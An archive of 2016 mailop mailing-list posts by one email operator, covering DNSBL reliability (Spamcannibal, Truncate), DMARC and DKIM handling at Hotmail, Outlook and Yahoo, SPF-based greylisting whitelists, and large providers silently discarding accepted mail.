Actually, all it needs is a big freemail provider like gmail to start 
blocking on bad DNS info and banks will get it mostly right within the 
next 24/48 hours.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Spamcannibal?

[Renaud Allard via mailop]

spamcannibal has its uses, mainly in a scoring system. But indeed, 
refusing emails solely on the reason that the mail server is listed on 
spamcannibal is probably a poor idea.
Actually, refusing emails by relying solely on any blacklist which lists 
ranges instead of individual IPs is a poor idea (except maybe for ipv6).


On 09/12/2016 16:44, Gil Bahat via mailop wrote:

+1 unreasonable for an indiscriminate block on all of Amazon SES. Why
would anyone want to use such a BL is beyond me given that there are
many, much better alternatives.

On Dec 9, 2016 5:30 PM, "Vladimir Dubrovin via mailop"
> wrote:

25.11.2016 22:50, Al Iverson пишет:

Hi Otto,

Long time no talk. Hope things are going well.

The Spam Cannibal maintainer is a reasonable guy. He doesn't spread
his contact info far and wide, perhaps because he doesn't want to
argue with spammers. So, I would feel bad about sharing his details
publicly. But I will forward your post to him and invite him to follow
up with you. Hope that helps.


I really doubt it. This reasonable guys blacklisted our (Mail.Ru)
front servers due to same reason ('Generic PTR'). Yes, we have few
hundreds of front servers, because we host >50% of mailboxes for
russian-speaking users so we need to count our servers somehow. If
you use Spamcannibal you will probably have deliverability problems.





Best regards,
Al Iverson

--
Al Iverson
www.aliverson.com 
(312)725-0130


On Fri, Nov 25, 2016 at 8:14 AM, Otto J. Makela  
 wrote:

Sending this to a couple of secret societies, apologies if you see this 
twice.

Is there any point in trying to contact Spamcannibal?

One of our clients (we're the Finnish NREN, so an university in Finland)
was notified via Shadowserver that a swathe of their unused IP space is
listed on Spamcannibal:

https://www.shadowserver.org/wiki/pmwiki.php/Services/Blacklist


Since the network in question has no assigned addresses, there are no DNS
records for it. We suspect that the netblock was momentarily snatched from
them via BGP (or some other routing trick) and then used to send spam.
We'd really like to know more, like get spamples or at least time stamps.

When I tried to get in touch with Spamcannibal about one IP address via
their contact form, submitting the form resulted in the glib message:

xxx.xxx.xxx.xxx not eligible for removal: GENERIC PTR

So, anyone know if the form went through, does someone have a contact there,
and is there any point in doing so?

--
   /* * * Otto J. Makela   * * * * * * * * 
* */
  /* Phone: +358 40 765 5772 , ICBM: N 60 10' 
E 24 55' */
 /* Mail: Mechelininkatu 26 B 27,  FI-00100 Helsinki */
/* * * Computers Rule 0100 01001011 * * * * * * */

___
mailop mailing list
mailop@mailop.org 
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop


___
mailop mailing list
mailop@mailop.org 
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop




--
Vladimir Dubrovin
@Mail.Ru

___
mailop mailing list
mailop@mailop.org 
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop





___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop





smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] connection issues from .*?.bullet.mail.(skk|kks).yahoo.co.jp

[Renaud Allard via mailop]

On 10/28/2016 03:18 PM, valdis.kletni...@vt.edu wrote:
> On Fri, 28 Oct 2016 11:23:49 +0200, Benoit Panizzon said:
> 
>> Nice, so Yahoo's mailservers are broken?
> 
> It's 2016.  The mere fact it's sending HELO rather than EHLO is a pretty good
> indication that it is either so decrepit or so deficient that it can safely be
> called broken.
> 

I could agree. Unfortunately, there are still a lot of legitimate
(mainly news) servers which just say HELO instead of EHLO.
While I would agree with you they are decrepit, if I was to block them,
I would still have a lot of people complaining they are not receiving
mails they subscribed to.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] hosting.com mailservices failing on greylisting?

[Renaud Allard via mailop]

Hello Benoît,

On 10/21/2016 11:38 AM, Benoit Panizzon wrote:

> 
> Are there other DNS based ipv4 whitelists we could use as source for
> trusted email hosts?

I am using spf records to generate greylisting whitelists, this works
quite fine.






smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] anyone from Microsoft around ?

[Renaud Allard via mailop]

On 21/09/16 22:29, Franck Martin via mailop wrote:


What Microsoft does differently with DMARC, is that instead of rejecting
the email it should reject, it accepts them and deliver them to the junk
folder in the highest form of protection.



Actually, no. I sent an email to Gilles' email at hotmail from a DMARC 
unauthorized machine and got a clear message from hotmail servers:
550 5.7.0 (BAY004-MC3F56) Unfortunately, messages from (W.X.Y.Z) on 
behalf of (some.host.name) could not be delivered due to domain owner 
policy restrictions.
That's with this kind of record: "v=DMARC1\; p=reject\; sp=reject\; 
pct=100\;"




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Google: Increase in false positives?

[Renaud Allard via mailop]

On 02/09/16 18:35, Aaron C. de Bruyn wrote:

On Fri, Sep 2, 2016 at 1:39 AM, Renaud Allard via mailop
<mailop@mailop.org <mailto:mailop@mailop.org>> wrote:

On 09/02/2016 10:28 AM, Brandon Long via mailop wrote:
> The spam team would love to send all unauthed mail to the spam label or
> even reject it (they call it no auth no entry).
>

IMHO, that would be a good idea. If one big player does it, no-one can
ignore it, so this enables the others to do it.


On that note, wouldn't that just 'move the problem'?  If we waved our
magic wands and made all e-mail require SPF, DKIM, and DMARC or it goes
to junk, a mail server compromise would lead to a bunch of spam that was
SPF-allowed, DKIM-signed, and DMARC-policy-acceptable.  And we'd still
have spam in our inbox.  ;)



Yes, but that limits the problem as the compromised server is easier to 
detect and block.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Google: Increase in false positives?

[Renaud Allard via mailop]

On 09/02/2016 10:28 AM, Brandon Long via mailop wrote:
> The spam team would love to send all unauthed mail to the spam label or
> even reject it (they call it no auth no entry).
> 

IMHO, that would be a good idea. If one big player does it, no-one can
ignore it, so this enables the others to do it.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

[mailop] Blocking emails from domains without SPF records

[Renaud Allard via mailop]

Hello,

I am following another message which suggested that btinternet.com was
blocking emails from domains without SPF records.
This website suggests this is "common practice" in point 4:
https://www.iplocation.net/email-delivery-problems

Do you have this kind of policy or any evidence of this behavior being
common? I am just wondering about the percentage of mail servers with
this kind of policy being in place.

Regards



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Microsoft/Hotmail discards mails [slightly OT]

[Renaud Allard via mailop]

On 06/09/2016 04:33 PM, G. Miliotis wrote:
> On 9/6/2016 16:13, Michael Wise via mailop wrote:
>> The discussion is on-going.
> 
> This is at least one good thing about this whole deal. I think your
> suggestion about deleted items (marked as such somehow) would be a good
> compromise.
> 

While it's better, the junk folder is still the best solution. Do you
often search in your deleted folder for something you haven't deleted?

> FWIW, personally, I find it all an interesting social mental exercise.
> Apparently it's more important for huge mail operators to continue to
> exist and grow, rather than keep mail working as everyone expects it to.
> I'm seeing big players who have cornered the mail "market" that can't
> operate properly cause of their growth and their inability to solve the
> scaling problems. I don't see why we NEED to compromise the thing we do,
> just cause of the way we currently do it. We, as a society, chose to
> support the centralization of these services directly or indirectly. So,
> now we simply don't have mail anymore. We have "mostly mail".
> 

Actually, many small operators also silently discard email. Whether it's
by incompetence, or voluntarily doesn't matter much. It's just less
visible than hotmail.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Microsoft/Hotmail discards mails

[Renaud Allard via mailop]

On 06/09/2016 03:34 PM, Michael Wise via mailop wrote:
> That's a violation of RFC 821, etc.

It might be, but it's the conservative (less scalable) approach instead
of the aggressive one.

There are RFC5321 violations everywhere like this one ;)

RFC5321
4.5.3.2.  Timeouts
4.5.3.2.7.  Server Timeout: 5 Minutes.
   An SMTP server SHOULD have a timeout of at least 5 minutes while it
   is awaiting the next command from the sender.

$ time telnet mx1.hotmail.com 25
Trying 65.55.33.119...
Connected to mx1.hotmail.com.
Escape character is '^]'.
220 COL004-MC5F4.hotmail.com Sending unsolicited commercial or bulk
e-mail to Microsoft's computer network is prohibited. Other restrictions
are found at http://privacy.microsoft.com/en-us/anti-spam.mspx. Thu, 9
Jun 2016 07:26:53 -0700
Connection closed by foreign host.
1m03.66s real 0m00.00s user 0m00.01s system


> Of course, the expectation that the email won't be discarded inside the
> system is also not countenanced.
> 
> But making a decision on the fate of an email at END OF DATA is not
> something that massive mail systems do. All the decisions on that happen
> after the connection has ended.
> 
> Wish it were otherwise, but when each edge box is expected to handle
> thousands of connections opened per second, it doesn't scale.
> 
> Aloha,
> Michael.
> -- 
> Sent from my Windows Phone
> ----------------
> From: Renaud Allard via mailop <mailto:mailop@mailop.org>
> Sent: ‎6/‎9/‎2016 2:10 AM
> To: mailop@mailop.org <mailto:mailop@mailop.org>
> Subject: Re: [mailop] Microsoft/Hotmail discards mails
> 
> 
> 
> On 06/09/2016 10:25 AM, Paul Smith wrote:
>> The problem is there may be a few other users who get false positives in
>> that type of spam quite frequently, and suddenly they are losing
>> messages with no hope of redemption or even knowledge that it's
>> happening.
> 
> Actually, what I do is that when a mail goes to the junk folder, the
> server gives a 5XX error message to the sender at the end of DATA phase.
> So the sender, if real, knows something happened to his mail and that it
> might not be read.
> 
> 
> 
> 
> 
> ___
> mailop mailing list
> mailop@mailop.org
> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
> 



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Microsoft/Hotmail discards mails

[Renaud Allard via mailop]

On 06/09/2016 10:25 AM, Paul Smith wrote:
> The problem is there may be a few other users who get false positives in
> that type of spam quite frequently, and suddenly they are losing
> messages with no hope of redemption or even knowledge that it's
> happening.

Actually, what I do is that when a mail goes to the junk folder, the
server gives a 5XX error message to the sender at the end of DATA phase.
So the sender, if real, knows something happened to his mail and that it
might not be read.





smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Microsoft/Hotmail discards mails

[Renaud Allard via mailop]

Hi,

On 06/09/2016 04:08 AM, Michael Wise via mailop wrote:
> 
> At one point, Hotmail tried to turn off the delete action for sufficiently 
> spammy, and just delivered it into Junk; Customers complained. Loudly. 

Is there a public place/forum/whatever where people complained loudly? I
am just curious to see their arguments about this.

Best Regards



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Truncate DNSBL

[Renaud Allard via mailop]

On 05/04/2016 11:38 AM, David Hofstee wrote:
> Well, v4bl is not a reliable blacklist. I would ignore any listing there. 
> 
> So his IP is only listed, afaik, on the Truncate list (which is why he mailed 
> to the list in the first place). 
> 

Is Truncate BL a reliable blacklist either?



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Truncate DNSBL

[Renaud Allard via mailop]

Hello

On 05/04/2016 01:39 AM, Vick Khera wrote:
> My monitoring service just notified me that an IP from my shared general
> outbound pool is listed on the Truncate DNSBL. This is really the first
> I've heard of this list. From what I read on their web pages, they claim
> that an IP is only listed if > 95% of the mail they detect is spam. I
> personally find this quite improbable coming from my systems.
> 
> Overall, the messages in that pool are statistically identical across
> IPs as everything is round-robin delivered. I'm measuring about 0.02%
> spam complaint rate, Hotmail SNDS is reporting "green", AOL postmaster
> says the stream is clean. There is nothing different about these numbers
> for a very long time.
> 
> The IP in question is 199.83.97.5.
> 
> Questions:
> 
> 1) is this list used to cover a consequential number of inboxes?
> 2) is this list true to their self-proclaimed description of 95% spam
> required?
> 2a) if so, how would the data from the FBLs and from hotmail and AOL be
> so different?
> 


When checking on http://dnsbl-check.info/?checkip=199.83.97.5 you are
listed on 2 DNSBLs.
I never heard of truncate DNSBL before but it's easy to get over 95%
spam if they have only a few "sniffers", just send one unique message
looking spammy to their "sniffers", and you are good to go with 100% spam.





smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Bounces from outbound.protection.outlook.com

[Renaud Allard via mailop]

Hi Michael,

On 04/29/2016 04:22 PM, Michael Wise wrote:
> Protection.outlook.com is Office365, and *NOT* "HotMail".
> 
> If you have samples of the malicious NDRs, please send them to me, and
> I'll see if there's a way to squelch it.
> 

I never implied that protection.outlook.com is hotmail in any way.

I don't have samples of those NDRs as they are all sent to a non
existent mailbox. I can send you logs of when it happened. If you really
want the NDR messages themselves, I will have to create a mailbox in
which they can be stored.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

[mailop] Bounces from outbound.protection.outlook.com

[Renaud Allard via mailop]

Hello,

I am seeing in my logs some bounces messages (empty sender) from various
outbound.protection.outlook.com servers. All those bounce messages are
directed towards one specific email address which is probably used as an
envelope field in a spam run.

Now my question is: if it comes from outbound servers for outlook.com,
shouldn't the mails also pass through some kind of inbound servers at
outlook.com? If that's the case, how comes that those messages which
surely have a wrong DMARC, SPF and DKIM pass through the incoming gateways?

I have a attached a list of servers sending the bounces, in case it may
help. Feel free to contact me privately if you need more informations.

Regards
H=mail-am1hn0245.outbound.protection.outlook.com
H=mail-am1hn0246.outbound.protection.outlook.com
H=mail-am1hn0247.outbound.protection.outlook.com
H=mail-am1hn0248.outbound.protection.outlook.com
H=mail-am1hn0249.outbound.protection.outlook.com
H=mail-am1hn0250.outbound.protection.outlook.com
H=mail-am1hn0251.outbound.protection.outlook.com
H=mail-am1hn0252.outbound.protection.outlook.com
H=mail-am1hn0253.outbound.protection.outlook.com
H=mail-am1hn0254.outbound.protection.outlook.com
H=mail-am1hn0342.outbound.protection.outlook.com
H=mail-am1on0053.outbound.protection.outlook.com
H=mail-am1on0055.outbound.protection.outlook.com
H=mail-am1on0056.outbound.protection.outlook.com
H=mail-am1on0059.outbound.protection.outlook.com
H=mail-am1on0073.outbound.protection.outlook.com
H=mail-am1on0074.outbound.protection.outlook.com
H=mail-am1on0075.outbound.protection.outlook.com
H=mail-am1on0079.outbound.protection.outlook.com
H=mail-am1on0082.outbound.protection.outlook.com
H=mail-am1on0086.outbound.protection.outlook.com
H=mail-am1on0089.outbound.protection.outlook.com
H=mail-am1on0095.outbound.protection.outlook.com
H=mail-am1on0096.outbound.protection.outlook.com
H=mail-am1on0101.outbound.protection.outlook.com
H=mail-am1on0102.outbound.protection.outlook.com
H=mail-am1on0105.outbound.protection.outlook.com
H=mail-am1on0106.outbound.protection.outlook.com
H=mail-am1on0107.outbound.protection.outlook.com
H=mail-am1on0108.outbound.protection.outlook.com
H=mail-am1on0109.outbound.protection.outlook.com
H=mail-am1on0114.outbound.protection.outlook.com
H=mail-am1on0116.outbound.protection.outlook.com
H=mail-am1on0117.outbound.protection.outlook.com
H=mail-am1on0120.outbound.protection.outlook.com
H=mail-am1on0121.outbound.protection.outlook.com
H=mail-am1on0122.outbound.protection.outlook.com
H=mail-am1on0123.outbound.protection.outlook.com
H=mail-am1on0124.outbound.protection.outlook.com
H=mail-am1on0125.outbound.protection.outlook.com
H=mail-am1on0126.outbound.protection.outlook.com
H=mail-am1on0127.outbound.protection.outlook.com
H=mail-am1on0129.outbound.protection.outlook.com
H=mail-am1on0130.outbound.protection.outlook.com
H=mail-am1on0131.outbound.protection.outlook.com
H=mail-am1on0138.outbound.protection.outlook.com
H=mail-am1on0139.outbound.protection.outlook.com
H=mail-am1on0140.outbound.protection.outlook.com
H=mail-am1on0141.outbound.protection.outlook.com
H=mail-am1on0143.outbound.protection.outlook.com
H=mail-am1on0144.outbound.protection.outlook.com
H=mail-am1on0145.outbound.protection.outlook.com
H=mail-am1on0147.outbound.protection.outlook.com
H=mail-am1on0148.outbound.protection.outlook.com
H=mail-am1on0609.outbound.protection.outlook.com
H=mail-bl2hn0245.outbound.protection.outlook.com
H=mail-bl2hn0246.outbound.protection.outlook.com
H=mail-bl2hn0247.outbound.protection.outlook.com
H=mail-bl2hn0248.outbound.protection.outlook.com
H=mail-bl2hn0249.outbound.protection.outlook.com
H=mail-bl2hn0250.outbound.protection.outlook.com
H=mail-bl2lp0209.outbound.protection.outlook.com
H=mail-bl2lp0210.outbound.protection.outlook.com
H=mail-bl2on0061.outbound.protection.outlook.com
H=mail-bl2on0066.outbound.protection.outlook.com
H=mail-bl2on0082.outbound.protection.outlook.com
H=mail-bl2on0083.outbound.protection.outlook.com
H=mail-bl2on0118.outbound.protection.outlook.com
H=mail-bl2on0127.outbound.protection.outlook.com
H=mail-bl2on0129.outbound.protection.outlook.com
H=mail-bl2on0130.outbound.protection.outlook.com
H=mail-bl2on0133.outbound.protection.outlook.com
H=mail-bl2on0146.outbound.protection.outlook.com
H=mail-bl2on0751.outbound.protection.outlook.com
H=mail-bl2on0792.outbound.protection.outlook.com
H=mail-bl2un0251.outbound.protection.outlook.com
H=mail-bl2un0252.outbound.protection.outlook.com
H=mail-bl2un0253.outbound.protection.outlook.com
H=mail-bl2un0254.outbound.protection.outlook.com
H=mail-bn1bhn0245.outbound.protection.outlook.com
H=mail-bn1bhn0246.outbound.protection.outlook.com
H=mail-bn1bhn0247.outbound.protection.outlook.com
H=mail-bn1bhn0248.outbound.protection.outlook.com
H=mail-bn1bhn0249.outbound.protection.outlook.com
H=mail-bn1bhn0250.outbound.protection.outlook.com
H=mail-bn1bhn0251.outbound.protection.outlook.com
H=mail-bn1bhn0252.outbound.protection.outlook.com

Re: [mailop] Yahoo deferred with a page not found

[Renaud Allard via mailop]

On 27/04/16 00:00, Brandon Long via mailop wrote:

Big companies are big, never underestimate the challenges involved.  We
recently went through ours to find out that the editors had drifted the
content of several of the links we pointed to in smtp responses to the
point where they were not relevant at all.  At least they all still
existed, or redirected to new pages which were tangentially related, I
guess.



I also work for a big company, and I quite understand the challenges 
making anything move even a tiny bit and even for the best reason. But I 
know that when poking the right people at the right time, you can get 
some changes done, even if it takes some (long) time to get the real move.


Now, to be honest, we recently got some messages from a big provider (I 
think you all know who we are talking about) hinting at the fact they 
might have understood that they should not silently drop email which 
were accepted by their MTA.


Changes never happen if no one points out at problems.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Yahoo deferred with a page not found

[Renaud Allard via mailop]

On 26/04/16 19:14, Davide Migliavacca wrote:



Now - I don't speak for Yahoo.  According to my limited experience and observations I've 
been seeing GL mostly with new or low volume IPs ramping up. Low volume IPs might remain 
'new' forever and every time they send it's a "ramp-up".



Yahoo has never really blocked my email, even tough I recently moved 
some of my services to a new IP provider (but I have correct SPF, DKIM, 
DMARC, DANE, RDNS, dnswl). I wanted to point out to yahoo mail admins 
that they should probably verify the error messages given by their mail 
servers, as they are now pointless given the pages don't exist.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

[mailop] Yahoo deferred with a page not found

[Renaud Allard via mailop]

Hello,

I have had some occurrences of this error message when sending to yahoo
managed domains.
421 4.7.0 [GL01] Message from (W.X.Y.Z) temporarily deferred - 4.16.50.
Please refer to http://postmaster.yahoo.com/errors/postmaster-21.html

The mail generally passes at the next try, so that's not a big issue.

However, the page http://postmaster.yahoo.com/errors/postmaster-21.html
just redirects me to yahoo help as the page is not found. So perhaps it
would be a good idea to make the defer message return a correct page.

Best Regards



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] DMARC record in p=none not receiving aggregate reports to RUA

[Renaud Allard via mailop]

On 14/04/16 23:58, Michael Wise wrote:

Checked the Microsoft.com record, and the \; is there as well, so it may
be an artifact of my software.



Just FI
https://dmarc.org/wiki/FAQ#Why_are_the_semicolons_escaped_in_DMARC_records.3F_Should_I_do_the_same_when_I_publish_a_DMARC_record.3F



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Webmail

[Renaud Allard via mailop]

On 03/04/16 21:18, Doug Barton wrote:

Sorry if this is off topic, but I'm just curious what folks are using
for webmail nowadays.



roundcube was fine at some point, but rainloop replaced it fine and is 
ways faster.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Mail accepted by outlook.com/hotmail.com disappears.

[Renaud Allard via mailop]

On 18/03/16 01:38, Michael Wise wrote:

And yes, under certain circumstances, Hotmail/Outlook will 250 the mail,
and may then if it considers the IP sufficiently toxic, delete it
without delivering it to the intended recipient’s INBOX or Junk folder
with no NDR.


May I suppose that you agree this is something that should never happen? 
Even if you do not have the power yourself to stop this behaviour.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] mailop + DMARC + mailman = mung_from

[Renaud Allard via mailop]

On 02/23/2016 11:46 AM, Andrew C Aitchison wrote:


(Assuming the operators/rule-setters care about DKIM)
I'd expect spamassassin to  score a broken DKIM signature,
but ignore (or treat separately) an X-Header.




spamassassin default score for a broken DKIM is:

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Just the contrary of what you would think.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] mailop + DMARC + mailman = mung_from

[Renaud Allard via mailop]

Hi,

I am not sure it does the trick, at least for me, or maybe you disabled 
it afterwards. Here is an excerpt from my logs.


2016-02-22 10:03:22 [7439] H=chilli.nosignal.org 
[2001:41c8:51:83:feff:ff:fe00:a0b]:50689 I=[2001:bc8:3186:100::a1fa]:25 
Warning: CSA status: unknown
2016-02-22 10:03:22 [7439] 1aXmOo-0001vz-1d DKIM: d=mailplus.nl 
s=mailplus2015-12 c=relaxed/relaxed a=rsa-sha256 [verification failed - 
signature did not verify (headers probably modified in transit)]


In the headers, I have:
Return-path: 
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=mailplus2015-12; 
d=mailplus.nl;

From: David Hofstee 

So it seems the From: header has not been changed.

Regards

On 02/09/2016 09:41 AM, Simon Lyall wrote:


I was away last week [1] so just caught up on the DMARC discussion.

As an experiment I've changed the mailman settings[2] for DMARC'd emails
to "Munge From"[3] which should change their from address to the list's.

We'll see how that goes.

Simon.
Mailop co-mod

[1] - at Linux.conf.au , great conference, highly recommended

[2] - Last time I looked I'd swear the option wasn't there so possibly
mailman was upgraded by Andy recently

[3] - http://wiki.list.org/DEV/DMARC






smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] DKIM issues with mails from outbound.protection.outlook.com

[Renaud Allard via mailop]

On 02/11/2016 08:37 PM, Franck Martin via mailop wrote:

Email forwarded within Office365 may have DKIM breakage, Microsoft has
been addressing the issue, I believe.

Mimecast is a known to me to break DKIM when forwarding.



It would be nice if someone from Microsoft could confirm/infirm the problem.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop